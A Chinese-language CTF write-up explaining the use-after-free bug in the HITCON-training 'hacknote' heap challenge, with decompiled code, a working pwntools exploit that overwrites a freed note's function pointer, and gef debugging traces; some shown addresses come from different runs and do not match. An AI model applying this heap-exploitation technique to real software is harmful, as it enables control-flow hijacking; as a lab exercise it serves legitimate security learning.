根据这个:
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/use_after_free-zh/
原理 简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况
内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转 。
内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题 。
而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。
例子 这里我们以 HITCON-training 中的 lab 10 hacknote 为例。
功能分析 我们可以简单分析下程序,可以看出在程序的开头有个 menu 函数,其中有
1 2 3 4 puts (" 1. Add note " );puts (" 2. Delete note " );puts (" 3. Print note " );puts (" 4. Exit " );
故而程序应该主要有 3 个功能。之后程序会根据用户的输入执行相应的功能。
add_note 根据程序,我们可以看出程序最多可以添加 5 个 note。每个 note 有两个字段 put 与 content,其中 put 会被设置为一个函数,其函数会输出 content 具体的内容。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 unsigned int add_note () { note *v0; signed int i; int size; char buf; unsigned int v5; v5 = __readgsdword(0x14 u); if ( count <= 5 ) { for ( i = 0 ; i <= 4 ; ++i ) { if ( !notelist[i] ) { notelist[i] = malloc (8u ); if ( !notelist[i] ) { puts ("Alloca Error" ); exit (-1 ); } notelist[i]->put = print_note_content; printf ("Note size :" ); read(0 , &buf, 8u ); size = atoi(&buf); v0 = notelist[i]; v0->content = malloc (size); if ( !notelist[i]->content ) { puts ("Alloca Error" ); exit (-1 ); } printf ("Content :" ); read(0 , notelist[i]->content, size); puts ("Success !" ); ++count; return __readgsdword(0x14 u) ^ v5; } } } else { puts ("Full" ); } return __readgsdword(0x14 u) ^ v5; }
函数源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 void add_note () { int i; char buf[8 ]; int size; if (count > 5 ) { puts ("Full" ); return ; } for (i = 0 ; i < 5 ; i++) { if (!notelist[i]) { notelist[i] = (struct note *)malloc (sizeof (struct note)); if (!notelist[i]) { puts ("Alloca Error" ); exit (-1 ); } notelist[i]->printnote = print_note_content; printf ("Note size :" ); read(0 , buf, 8 ); size = atoi(buf); notelist[i]->content = (char *)malloc (size); if (!notelist[i]->content) { puts ("Alloca Error" ); exit (-1 ); } printf ("Content :" ); read(0 , notelist[i]->content, size); puts ("Success !" ); count++; break ; } } }
print_note print_note 就是简单的根据给定的 note 的索引来输出对应索引的 note 的内容。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 unsigned int print_note () { int v1; char buf; unsigned int v3; v3 = __readgsdword(0x14 u); printf ("Index :" ); read(0 , &buf, 4u ); v1 = atoi(&buf); if ( v1 < 0 || v1 >= count ) { puts ("Out of bound!" ); _exit(0 ); } if ( notelist[v1] ) notelist[v1]->put(notelist[v1]); return __readgsdword(0x14 u) ^ v3; }
函数源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 void print_note () { char buf[4 ]; int idx; printf ("Index :" ); read(0 , buf, 4 ); idx = atoi(buf); if (idx < 0 || idx >= count) { puts ("Out of bound!" ); _exit(0 ); } if (notelist[idx]) { notelist[idx]->printnote(notelist[idx]); } }
del_note del_note 会根据给定的索引来释放对应的 note。但是值得注意的是,在 删除的时候,只是单纯进行了 free,而没有设置为 NULL,那么显然,这里是存在 Use After Free 的情况的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 unsigned int del_note () { int v1; char buf; unsigned int v3; v3 = __readgsdword(0x14 u); printf ("Index :" ); read(0 , &buf, 4u ); v1 = atoi(&buf); if ( v1 < 0 || v1 >= count ) { puts ("Out of bound!" ); _exit(0 ); } if ( notelist[v1] ) { free (notelist[v1]->content); free (notelist[v1]); puts ("Success" ); } return __readgsdword(0x14 u) ^ v3; }
函数源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 void del_note () { char buf[4 ]; int idx; printf ("Index :" ); read(0 , buf, 4 ); idx = atoi(buf); if (idx < 0 || idx >= count) { puts ("Out of bound!" ); _exit(0 ); } if (notelist[idx]) { free (notelist[idx]->content); free (notelist[idx]); puts ("Success" ); } }
利用分析 我们可以看到 Use After Free 的情况确实可能会发生,那么怎么可以让它发生并且进行利用呢?需要同时注意的是,这个程序中还有一个 magic 函数,我们有没有可能来通过 use after free 来使得这个程序执行 magic 函数呢?一个很直接的想法是修改 note 的 put 字段为 magic 函数的地址,从而实现在执行 print note 的时候执行 magic 函数。 那么该怎么执行呢?
我们可以简单来看一下每一个 note 生成的具体流程
程序申请 8 字节内存用来存放 note 中的 put 以及 content 指针。
程序根据输入的 size 来申请指定大小的内存,然后用来存储 content。
1 2 3 4 5 6 7 8 9 +-----------------+ | put | +-----------------+ | content | size +-----------------+------------------->+----------------+ | real | | content | | | +----------------+
那么,根据我们之前在堆的实现中所学到的,显然 note 是一个 fastbin chunk(大小为 16 字节)。我们的目的是希望一个 note 的 put 字段为 magic 的函数地址,那么我们必须想办法让某个 note 的 put 指针被覆盖为 magic 地址。由于程序中只有唯一的地方对 put 进行赋值。所以我们必须利用写 real content 的时候来进行覆盖。具体采用的思路如下
申请 note0,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
申请 note1,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
释放 note0
释放 note1
此时,大小为 16 的 fast bin chunk 中链表为 note1->note0
申请 note2,并且设置 real content 的大小为 8,那么根据堆的分配规则
note2 其实会分配 note1 对应的内存块。
real content 对应的 chunk 其实是 note0。
如果我们这时候向 note2 real content 的 chunk 部分写入 magic 的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用 magic 函数。
利用脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import *r = process('./hacknote' ) def addnote (size, content) : r.recvuntil(":" ) r.sendline("1" ) r.recvuntil(":" ) r.sendline(str(size)) r.recvuntil(":" ) r.sendline(content) def delnote (idx) : r.recvuntil(":" ) r.sendline("2" ) r.recvuntil(":" ) r.sendline(str(idx)) def printnote (idx) : r.recvuntil(":" ) r.sendline("3" ) r.recvuntil(":" ) r.sendline(str(idx)) gdb.attach(r) magic = 0x08048986 addnote(32 , "aaaa" ) addnote(32 , "ddaa" ) delnote(0 ) delnote(1 ) addnote(8 , p32(magic)) printnote(0 ) r.interactive()
脚本中使用gdb.attach(r)进行调试
我们可以具体看一下执行的流程,首先先下断点
magic地址,add_note中两处malloc地址,del_note中两处free地址:
1 2 3 4 5 0x8048986 <magic>: 0x83e58955 0x080486ca <+84 >: call 0x80484e0 <malloc @plt>0x0804875c <+230 >: call 0x80484e0 <malloc @plt>0x08048893 <+143 >: call 0x80484c0 <free @plt>0x080488a9 <+165 >: call 0x80484c0 <free @plt>
两处 malloc 下断点
1 2 3 4 gef➤ b *0x0804875C Breakpoint 1 at 0x804875c gef➤ b *0x080486CA Breakpoint 2 at 0x80486ca
两处 free 下断点
1 2 3 4 gef➤ b *0x08048893 Breakpoint 3 at 0x8048893 gef➤ b *0x080488A9 Breakpoint 4 at 0x80488a9
(以下地址为我本地测试数据,和ctf-wiki有区别,请自行调试)
然后继续执行程序,可以看出申请 note0 时,所申请到的内存块地址为 0x09fc2160。(eax 存储函数返回值)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 $eax : 0x09fc2160 → 0x00000000 $ebx : 0x0 $ecx : 0x21e99 $edx : 0x09fc2160 → 0x00000000 $esp : 0xff8c2850 → 0x00000008 $ebp : 0xff8c2888 → 0xff8c28a8 → 0x00000000 $esi : 0xf7ecc000 → 0x001d7d6c ("l}"?) $edi : 0x0 $eip : 0x080486cf → <add_note+89> add esp, 0x10 $eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xff8c2850│+0x0000: 0x00000008 ← $esp 0xff8c2854│+0x0004: 0x00000000 0xff8c2858│+0x0008: 0xf7d26375 → <strtol+5> add eax, 0x1a5c8b 0xff8c285c│+0x000c: 0xf7d22b50 → <atoi+16> add esp, 0x1c 0xff8c2860│+0x0010: 0xff8c2898 → 0xff8c0a31 → 0x00000000 0xff8c2864│+0x0014: 0x00000000 0xff8c2868│+0x0018: 0x0000000a 0xff8c286c│+0x001c: 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ──── 0x80486c2 <add_note+76> add DWORD PTR [eax], eax 0x80486c4 <add_note+78> add BYTE PTR [ebx+0x86a0cec], al 0x80486ca <add_note+84> call 0x80484e0 <malloc@plt> → 0x80486cf <add_note+89> add esp, 0x10 0x80486d2 <add_note+92> mov edx, eax 0x80486d4 <add_note+94> mov eax, DWORD PTR [ebp-0x1c] 0x80486d7 <add_note+97> mov DWORD PTR [eax*4+0x804a070], edx 0x80486de <add_note+104> mov eax, DWORD PTR [ebp-0x1c] 0x80486e1 <add_note+107> mov eax, DWORD PTR [eax*4+0x804a070] ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "hacknote", stopped, reason: SINGLE STEP ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0x80486cf → add_note() [#1] 0x8048ac5 → main() [#2] 0xf7d0ce81 → __libc_start_main(main=0x8048a38 <main>, argc=0x1, argv=0xff8c2954, init=0x8048b00 <__libc_csu_init>, fini=0x8048b60 <__libc_csu_fini>, rtld_fini=0xf7f009b0 <_dl_fini>, stack_end=0xff8c294c) [#3] 0x8048581 → _start() ──────────────────────────────────────────────────────────────────────────────── 0x080486cf in add_note () gef➤ heap chunk 0x09fc2160 Chunk(addr=0x9fc2160, size=0x10, flags=PREV_INUSE) Chunk size: 16 (0x10) Usable size: 12 (0xc) Previous chunk size: 0 (0x0) PREV_INUSE flag: On IS_MMAPPED flag: Off NON_MAIN_ARENA flag: Off
申请 note 0 的 content 的地址为 0x09fc2170
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 $eax : 0x09fc2170 → 0x00000000 $ebx : 0x09fc2160 → 0x0804865b → <print_note_content+0> push ebp $ecx : 0x21e69 $edx : 0x09fc2170 → 0x00000000 $esp : 0xff8c2850 → 0x00000020 $ebp : 0xff8c2888 → 0xff8c28a8 → 0x00000000 $esi : 0xf7ecc000 → 0x001d7d6c ("l}"?) $edi : 0x0 $eip : 0x08048761 → <add_note+235> add esp, 0x10 $eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xff8c2850│+0x0000: 0x00000020 ← $esp 0xff8c2854│+0x0004: 0xff8c2874 → 0xf70a3233 0xff8c2858│+0x0008: 0x00000008 0xff8c285c│+0x000c: 0xf7d22b50 → <atoi+16> add esp, 0x1c 0xff8c2860│+0x0010: 0xff8c2898 → 0xff8c0a31 → 0x00000000 0xff8c2864│+0x0014: 0x00000000 0xff8c2868│+0x0018: 0x0000000a 0xff8c286c│+0x001c: 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ──── 0x8048752 <add_note+220> mov al, ds:0x458b0804 0x8048757 <add_note+225> call 0x581173df 0x804875c <add_note+230> call 0x80484e0 <malloc@plt> → 0x8048761 <add_note+235> add esp, 0x10 0x8048764 <add_note+238> mov DWORD PTR [ebx+0x4], eax 0x8048767 <add_note+241> mov eax, DWORD PTR [ebp-0x1c] 0x804876a <add_note+244> mov eax, DWORD PTR [eax*4+0x804a070] 0x8048771 <add_note+251> mov eax, DWORD PTR [eax+0x4] 0x8048774 <add_note+254> test eax, eax ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "hacknote", stopped, reason: SINGLE STEP ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0x8048761 → add_note() [#1] 0x8048ac5 → main() [#2] 0xf7d0ce81 → __libc_start_main(main=0x8048a38 <main>, argc=0x1, argv=0xff8c2954, init=0x8048b00 <__libc_csu_init>, fini=0x8048b60 <__libc_csu_fini>, rtld_fini=0xf7f009b0 <_dl_fini>, stack_end=0xff8c294c) [#3] 0x8048581 → _start() ──────────────────────────────────────────────────────────────────────────────── 0x08048761 in add_note () gef➤ heap chunk 0x09fc2170 Chunk(addr=0x9fc2170, size=0x30, flags=PREV_INUSE) Chunk size: 48 (0x30) Usable size: 44 (0x2c) Previous chunk size: 0 (0x0) PREV_INUSE flag: On IS_MMAPPED flag: Off NON_MAIN_ARENA flag: Off
类似的,我们可以得到 note1 的地址以及其 content 的地址分别为 0x09fc21a0 和 0x09fc21b0。
同时,我们还可以看到 note0 与 note1 对应的 content 确实是相应的内存块。
1 2 3 4 5 6 7 8 gef➤ grep aaaa [+] Searching 'aaaa' in memory [+] In '[heap]'(0x9fc2000-0x9fe4000), permission=rw- 0x9fc2170 - 0x9fc2174 → "aaaa" gef➤ grep ddaa [+] Searching 'ddaa' in memory [+] In '[heap]'(0x9fc2000-0x9fe4000), permission=rw- 0x9fc21b0 - 0x9fc21b4 → "ddaa"
下面就是 free 的过程了。我们可以依次发现首先,note0 的 content 被 free
1 2 3 4 5 6 7 8 9 10 11 12 → 0x8048893 <del_note+143> call 0x80484c0 <free@plt> ↳ 0x80484c0 <free@plt+0> jmp DWORD PTR ds:0x804a018 0x80484c6 <free@plt+6> push 0x18 0x80484cb <free@plt+11> jmp 0x8048480 0x80484d0 <__stack_chk_fail@plt+0> jmp DWORD PTR ds:0x804a01c 0x80484d6 <__stack_chk_fail@plt+6> push 0x20 0x80484db <__stack_chk_fail@plt+11> jmp 0x8048480 ─────────────────────────────────────────────────────── arguments (guessed) ──── free@plt ( [sp + 0x0] = 0x09fc2170 → "aaaa", [sp + 0x4] = 0xff8c2878 → 0xf7ec0a30 → 0x00200e46 )
然后是 note0 本身
1 2 3 4 5 6 7 8 9 10 11 12 → 0x80488a9 <del_note+165> call 0x80484c0 <free@plt> ↳ 0x80484c0 <free@plt+0> jmp DWORD PTR ds:0x804a018 0x80484c6 <free@plt+6> push 0x18 0x80484cb <free@plt+11> jmp 0x8048480 0x80484d0 <__stack_chk_fail@plt+0> jmp DWORD PTR ds:0x804a01c 0x80484d6 <__stack_chk_fail@plt+6> push 0x20 0x80484db <__stack_chk_fail@plt+11> jmp 0x8048480 ─────────────────────────────────────────────────────── arguments (guessed) ──── free@plt ( [sp + 0x0] = 0x09fc2160 → 0x0804865b → <print_note_content+0> push ebp, [sp + 0x4] = 0xff8c2878 → 0xf7ec0a30 → 0x00200e46 )
当 delete 结束后,我们观看一下 bins,可以发现,确实其被存放在对应的 fast bin 中,(我这里因为测试环境版本问题,是Tcachebins,但可以看到两个地址是对的
1 2 3 4 5 6 7 8 9 10 11 12 gef➤ heap bins ─────────────────────── Tcachebins for arena 0xf7ecc7a0 ─────────────────────── Tcachebins[idx=2, size=0x18] count=1 ← Chunk(addr=0x9fc2160, size=0x10, flags=PREV_INUSE) Tcachebins[idx=4, size=0x28] count=0 ← Chunk(addr=0x9fc2170, size=0x30, flags=PREV_INUSE) ──────────────────────── Fastbins for arena 0xf7ecc7a0 ──────────────────────── Fastbins[idx=0, size=0x8] 0x00 Fastbins[idx=1, size=0x10] 0x00 Fastbins[idx=2, size=0x18] 0x00 Fastbins[idx=3, size=0x20] 0x00 Fastbins[idx=4, size=0x28] 0x00 Fastbins[idx=5, size=0x30] 0x00 Fastbins[idx=6, size=0x38] 0x00
当我们将 note1 也全部删除完毕后,再次观看 bins。可以看出,后删除的 chunk 块确实处于表头。
1 2 3 4 5 6 7 8 9 10 11 12 gef➤ heap bins ─────────────────────── Tcachebins for arena 0xf7f217a0 ─────────────────────── Tcachebins[idx=2, size=0x18] count=2 ← Chunk(addr=0x9cec1a0, size=0x10, flags=PREV_INUSE) ← Chunk(addr=0x9cec160, size=0x10, flags=PREV_INUSE) Tcachebins[idx=4, size=0x28] count=0 ← Chunk(addr=0x9cec1b0, size=0x30, flags=PREV_INUSE) ← Chunk(addr=0x9cec170, size=0x30, flags=PREV_INUSE) ──────────────────────── Fastbins for arena 0xf7f217a0 ──────────────────────── Fastbins[idx=0, size=0x8] 0x00 Fastbins[idx=1, size=0x10] 0x00 Fastbins[idx=2, size=0x18] 0x00 Fastbins[idx=3, size=0x20] 0x00 Fastbins[idx=4, size=0x28] 0x00 Fastbins[idx=5, size=0x30] 0x00 Fastbins[idx=6, size=0x38] 0x00
那么,此时即将要申请 note2,我们可以看下 note2 都申请到了什么内存块,如下
申请 note2 对应的内存块为 0x09cec1a0,其实就是 note1 对应的内存地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 $eax : 0x09cec1a0 → 0x09cec160 → 0x00000000 $ebx : 0x0 $ecx : 0x09cec010 → 0x00020001 $edx : 0x09cec1a0 → 0x09cec160 → 0x00000000 $esp : 0xffca8fb0 → 0x00000008 $ebp : 0xffca8fe8 → 0xffca9008 → 0x00000000 $esi : 0xf7f21000 → 0x001d7d6c ("l}"?) $edi : 0x0 $eip : 0x080486cf → <add_note+89> add esp, 0x10 $eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffca8fb0│+0x0000: 0x00000008 ← $esp 0xffca8fb4│+0x0004: 0x00000004 0xffca8fb8│+0x0008: 0xf7d7b375 → <strtol+5> add eax, 0x1a5c8b 0xffca8fbc│+0x000c: 0xf7d77b50 → <atoi+16> add esp, 0x1c 0xffca8fc0│+0x0010: 0xffca8ff8 → 0xffca0a31 → 0x00000000 0xffca8fc4│+0x0014: 0x00000000 0xffca8fc8│+0x0018: 0x0000000a 0xffca8fcc│+0x001c: 0x00000002 ─────────────────────────────────────────────────────────────── code:x86:32 ──── 0x80486c2 <add_note+76> add DWORD PTR [eax], eax 0x80486c4 <add_note+78> add BYTE PTR [ebx+0x86a0cec], al 0x80486ca <add_note+84> call 0x80484e0 <malloc@plt> → 0x80486cf <add_note+89> add esp, 0x10
申请 note2 的 content 的内存地址为 0x804b008,就是 note0 对应的地址,即此时我们向 note2 的 content 写内容,就会将 note0 的 put 字段覆盖。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 $eax : 0x09cec160 → 0x00000000 $ebx : 0x09cec1a0 → 0x0804865b → <print_note_content+0> push ebp $ecx : 0x09cec010 → 0x00020000 $edx : 0x09cec160 → 0x00000000 $esp : 0xffca8fb0 → 0x00000008 $ebp : 0xffca8fe8 → 0xffca9008 → 0x00000000 $esi : 0xf7f21000 → 0x001d7d6c ("l}"?) $edi : 0x0 $eip : 0x08048761 → <add_note+235> add esp, 0x10 $eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffca8fb0│+0x0000: 0x00000008 ← $esp 0xffca8fb4│+0x0004: 0xffca8fd4 → 0x00000a38 ("8"?) 0xffca8fb8│+0x0008: 0x00000008 0xffca8fbc│+0x000c: 0xf7d77b50 → <atoi+16> add esp, 0x1c 0xffca8fc0│+0x0010: 0xffca8ff8 → 0xffca0a31 → 0x00000000 0xffca8fc4│+0x0014: 0x00000000 0xffca8fc8│+0x0018: 0x0000000a 0xffca8fcc│+0x001c: 0x00000002 ─────────────────────────────────────────────────────────────── code:x86:32 ──── 0x8048752 <add_note+220> mov al, ds:0x458b0804 0x8048757 <add_note+225> call 0x581173df 0x804875c <add_note+230> call 0x80484e0 <malloc@plt> → 0x8048761 <add_note+235> add esp, 0x10
我们来具体检验一下,看一下覆盖前的情况,可以看到该内存块的 put 指针已经被置为 NULL 了,这是由 fastbin 的 free 机制决定的。
1 2 3 gef➤ x/2wx 0x09cec160 0x9cec160: 0x00000000 0x09cec170 gef➤
覆盖后,具体的值如下(这里其实我测试的时候跳多了,直接结束了,重新跑的时候地址变了,所以0x0846210a这个地方是错的,但前面被修改为magic地址是可以确定的
1 2 3 4 gef➤ x/2wx 0x09cec160 0x09cec160: 0x08048986 0x0846210a gef➤ x/i 0x08048986 0x8048986 <magic>: push ebp
可以看出,确实已经被覆盖为我们所想要的 magic 函数了。
最后执行的效果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $ python exp.py [+] Starting local process './hacknote' : pid 20575 [*] running in new terminal: /usr/bin/gdb -q "./hacknote" 20575 -x "/tmp/pwnHjxz2s.gdb" [+] Waiting for debugger: Done [*] Switching to interactive mode THIS_IS_A_FLAG ---------------------- HackNote ---------------------- 1. Add note 2. Delete note 3. Print note 4. Exit ---------------------- Your choice :$
同时,我们还可以借助 gef 的 heap-analysis-helper 来看一下整体的堆的申请与释放的情况,如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 gef➤ heap-analysis-helper [*] This feature is under development, expect bugs and unstability... [+] Tracking malloc() [+] Tracking free() [+] Tracking realloc() [+] Disabling hardware watchpoints (this may increase the latency) [+] Dynamic breakpoints correctly setup, GEF will break execution if a possible vulnerabity is found. [*] Note: The heap analysis slows down noticeably the execution. gef➤ c Continuing. [+] Heap-Analysis - malloc(8)=0x804b008 [+] Heap-Analysis - malloc(8)=0x804b008 [+] Heap-Analysis - malloc(32)=0x804b018 [+] Heap-Analysis - malloc(8)=0x804b040 [+] Heap-Analysis - malloc(32)=0x804b050 [+] Heap-Analysis - free(0x804b018) [+] Heap-Analysis - watching 0x804b018 [+] Heap-Analysis - free(0x804b008) [+] Heap-Analysis - watching 0x804b008 [+] Heap-Analysis - free(0x804b050) [+] Heap-Analysis - watching 0x804b050 [+] Heap-Analysis - free(0x804b040) [+] Heap-Analysis - watching 0x804b040 [+] Heap-Analysis - malloc(8)=0x804b040 [+] Heap-Analysis - malloc(8)=0x804b008 [+] Heap-Analysis - Cleaning up [+] Heap-Analysis - Re-enabling hardware watchpoints [New process 36248] process 36248 is executing new program: /bin/dash [New process 36249] process 36249 is executing new program: /bin/cat [Inferior 3 (process 36249) exited normally]
这里第一个输出了两次,应该是 gef 工具的问题。
Last updated: 2019-07-10 15:10:50
水平不济整日被虐这也不会那也得学,脑子太蠢天天垫底这看不懂那学不会